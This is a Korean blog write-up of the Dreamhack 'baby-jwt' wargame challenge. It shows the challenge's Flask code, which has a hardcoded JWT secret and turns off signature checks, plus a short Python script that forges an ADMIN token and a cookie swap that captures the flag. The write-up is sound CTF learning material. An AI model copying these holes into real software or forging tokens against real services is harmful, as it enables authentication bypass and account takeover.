프롤로그
JWT라는 단어를 웹 개발 을 진행하면서 보안이라는 개념에서 이걸 많이 쓴다, 토큰형 방식이다 라고 하면서 거의 이것만을 사용해서 로그인을 만들었다.
JWT란 무엇이냐..
이렇게 된다.
문제
https://dreamhack.io/wargame/challenges/1754
baby-jwt
**J: JSON으로 데이터 관리하며 W: 웹에서 인증을 책임지는 T: 토큰의 강력한 무기, JWT! 😊** Feat. ChatGPT 플래그 형식은 0xH0P3{...} 입니다.
dreamhack.io
코드 및 분석
from flask import Flask, request, jsonify, render_template_string, make_response
import jwt
import datetime
app = Flask(__name__)
SECRET_KEY = "nolmyun_muhhanee_butterfly_whitewhale_musicsogood"
users = {}
...
@app.route('/')
def home():
return render_template_string(html_template)
@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
if username in users:
return jsonify({"error": "Username already exists"}), 400
users[username] = {"role": "USER"}
return jsonify({"message": f"User {username} registered successfully"})
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
if username in users:
token = jwt.encode(
{"username": username, "role": users[username]["role"], "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=10)},
SECRET_KEY,
algorithm="HS256"
)
response = make_response(jsonify({"message": "Login successful"}))
response.set_cookie("token", token)
return response
return jsonify({"error": "Invalid username"}), 400
return render_template_string(html_template)
@app.route('/flag', methods=['POST'])
def flag():
data = request.get_json()
token = data.get('token') if data else request.cookies.get('token')
if not token:
return jsonify({"error": "Missing token"}), 403
try:
decoded = jwt.decode(token, SECRET_KEY, algorithms=["none"], options={"verify_signature": False})
if decoded.get('role') == 'ADMIN':
return jsonify({"flag": "LOL ADMIN HELLO!!! 0xH0P3{REDACTED}"})
except jwt.ExpiredSignatureError:
return jsonify({"error": "Token expired"}), 403
except jwt.DecodeError:
return jsonify({"error": "Invalid token"}), 403
return jsonify({"error": "Unauthorized"}), 403
if __name__ == '__main__':
app.run(debug=True)
/register 위치에 간다면, 사용자를 등록한다. 비밀번호는 따로 필요 없다. 회원가입 기능이라고 생각하면 된다.
/login으로 간다면, 사용자 이름을 받고, 그를 토대로 JWT 토큰을 부여해준다.
/flag로 갔을 떄, 토큰으로부터 role을 뽑아오고, admin이라면 플래그를 출력해준다.
풀이전략
이 문제의 핵심은, JWT의 인증키가 하드코딩으로 노출되어 있다는 것이다.
그냥 코드에 키 값이 주어진다.
서버의 jwt키가 저렇게 노출이 되어이다면 공격자 마음대로 토큰을 발급하여 서버에게 해당 유저다 라고 주장을 할 수 가 있다. 서버측에서는 유저의 정보를 가지고 있지 않고, 인증 처리를 토큰으로부터 처리하기 떄문이다.
그렇기에, 우리는 회원가입을 진행하고, 해당 유저의 role을 ADMIN으로 한 JWT 토큰을 서버의 키값으로 생성해주고, 그것으로 로그인해주면 플래그 값을 얻을 수 있을 것이다.
풀이과정
우선, 회원가입 부터 해보자.
seo라는 이름으로 로그인을 했다.
원래라면
JWT.IO
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.
jwt.io
여기가서 정보들을 입력해주고 해야하는데
우리는 코드가 있지 않은가!
explot.py로
import jwt
import datetime
SECRET_KEY = "nolmyun_muhhanee_butterfly_whitewhale_musicsogood"
token = jwt.encode(
{"username": 'seo"', "role": "ADMIN", "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=10)},
SECRET_KEY,
algorithm="HS256"
)
print(token);
파이썬 코드 하나 짜고, 아래와 같이 입력해준다.
저 코드를 실행시켜 보면
토큰이 나왔다.
가상환경 실행해서 pip install PyJWT를 설치해야만 가능할 것이다.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InNlbyIsInJvbGUiOiJBRE1JTiIsImV4cCI6MTczOTYxNjQ4Nn0.PuBJEYjMxTSEZ5rVOrSM7zRO1bdmjsYb0UK9fC6R0jQ
이렇게 키값이 나왔는데
저걸 이제 어디다 써야하냐?
로그인을 하고 개발자도구(F12)를 열어보자.
Application -> Cookies에 가서
저기 쿠키값을 우리가 방금 뽑아온 값으로 바꿔넣어보자.
바꿔주고, 플래그 얻기 버튼을 누르면
플래그를 얻었다.
FLAG
플래그는 0xH0P3{kimsungwha_trying_to_solve_but_still_no_flag_zzzzzzzzlol}
에필로그
JWT 개념을 어느정도 알고있었어서 괜찮았다.
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임] XSS Filtering Bypass Advanced - WriteUp (1) | 2025.02.17 |
---|---|
[드림핵/워게임] BypassIF - WriteUp (0) | 2025.02.16 |
[드림핵/워게임] Base64 based - WriteUp (0) | 2025.02.14 |
[드림핵/워게임] File Vulnerability Advanced for linux - WriteUp (0) | 2025.02.13 |
[webhacking.kr] old-26 문제 풀이 (2) | 2024.10.01 |